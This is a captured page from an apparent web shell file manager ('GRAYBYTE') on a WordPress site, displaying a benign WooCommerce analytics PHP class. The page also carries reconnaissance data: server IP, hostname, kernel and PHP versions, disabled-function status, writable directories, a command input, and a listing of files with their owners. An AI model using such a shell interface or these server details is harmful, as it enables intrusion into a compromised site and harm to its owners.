GRAYBYTE WORDPRESS FILE MANAGER6645

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Admin/API/Reports/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Admin/API/Reports//GenericQuery.php
<?php
declare( strict_types = 1);

namespace Automattic\WooCommerce\Admin\API\Reports;

defined( 'ABSPATH' ) || exit;

use WC_Data_Store;

/**
 * A generic class for a report-specific query to be used in Analytics.
 *
 * Example usage:
 * <pre><code class="language-php">$args = array(
 *          'before'    => '2018-07-19 00:00:00',
 *          'after'     => '2018-07-05 00:00:00',
 *          'page'      => 2,
 *         );
 * $report = new GenericQuery( $args, 'coupons' );
 * $mydata = $report->get_data();
 * </code></pre>
 *
 * It uses the name provided in the class property or in the constructor call to load the `report-{name}` data store.
 *
 * It's used by the {@see GenericController GenericController}.
 *
 * @since 9.3.0
 */
class GenericQuery extends \WC_Object_Query {

	/**
	 * Specific query name.
	 * Will be used to load the `report-{name}` data store,
	 * and to call `woocommerce_analytics_{snake_case(name)}_*` filters.
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Create a new query.
	 *
	 * @param array  $args Criteria to query on in a format similar to WP_Query.
	 * @param string $name Query name.
	 * @extends WC_Object_Query::_construct
	 */
	public function __construct( $args, $name = null ) {
		$this->name = $name ?? $this->name;

		return parent::__construct( $args ); // phpcs:ignore Universal.CodeAnalysis.ConstructorDestructorReturn.ReturnValueFound
	}
	/**
	 * Valid fields for Products report.
	 *
	 * @return array
	 */
	protected function get_default_query_vars() {
		return array();
	}

	/**
	 * Get data from `report-{$name}` store, based on the current query vars.
	 * Filters query vars through `woocommerce_analytics_{snake_case(name)}_query_args` filter.
	 * Filters results through `woocommerce_analytics_{snake_case(name)}_select_query` filter.
	 *
	 * @return mixed filtered results from the data store.
	 */
	public function get_data() {
		$snake_name = str_replace( '-', '_', $this->name );
		/**
		 * Filter query args given for the report.
		 *
		 * @since 9.3.0
		 *
		 * @param array $query_args Query args.
		 */
		$args = apply_filters( "woocommerce_analytics_{$snake_name}_query_args", $this->get_query_vars() );

		$data_store = \WC_Data_Store::load( "report-{$this->name}" );
		$results    = $data_store->get_data( $args );
		/**
		 * Filter report query results.
		 *
		 * @since 9.3.0
		 *
		 * @param stdClass|WP_Error $results Results from the data store.
		 * @param array             $args    Query args used to get the data (potentially filtered).
		 */
		return apply_filters( "woocommerce_analytics_{$snake_name}_select_query", $results, $args );
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Categories
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Coupons
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Customers
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Downloads
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Export
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Import
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Orders
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
PerformanceIndicators
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Products
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Revenue
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Stock
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Taxes
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Variations
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
Cache.php
1.479 KB
July 06 2022 00:23:10
giriqfky / giriqfky
0644
Controller.php
6.634 KB
November 14 2024 01:17:00
giriqfky / giriqfky
0644
DataStore.php
54.663 KB
August 27 2024 23:04:44
giriqfky / giriqfky
0644
DataStoreInterface.php
0.392 KB
April 20 2022 06:50:54
giriqfky / giriqfky
0644
ExportableInterface.php
0.609 KB
April 20 2022 06:50:54
giriqfky / giriqfky
0644
ExportableTraits.php
0.609 KB
April 20 2022 06:50:54
giriqfky / giriqfky
0644
FilteredGetDataTrait.php
1.552 KB
August 27 2024 23:04:44
giriqfky / giriqfky
0644
GenericController.php
9.882 KB
September 23 2024 20:44:04
giriqfky / giriqfky
0644
GenericQuery.php
2.573 KB
August 27 2024 23:04:44
giriqfky / giriqfky
0644
GenericStatsController.php
7.994 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
OrderAwareControllerTrait.php
3.735 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ParameterException.php
0.318 KB
April 20 2022 06:50:54
giriqfky / giriqfky
0644
Query.php
1.412 KB
September 23 2024 20:44:04
giriqfky / giriqfky
0644
Segmenter.php
25.42 KB
January 21 2025 18:53:44
giriqfky / giriqfky
0644
SqlQuery.php
5.154 KB
January 25 2023 03:19:12
giriqfky / giriqfky
0644
StatsDataStoreTrait.php
4.757 KB
September 23 2024 20:44:04
giriqfky / giriqfky
0644
TimeInterval.php
23.472 KB
February 27 2024 18:59:46
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF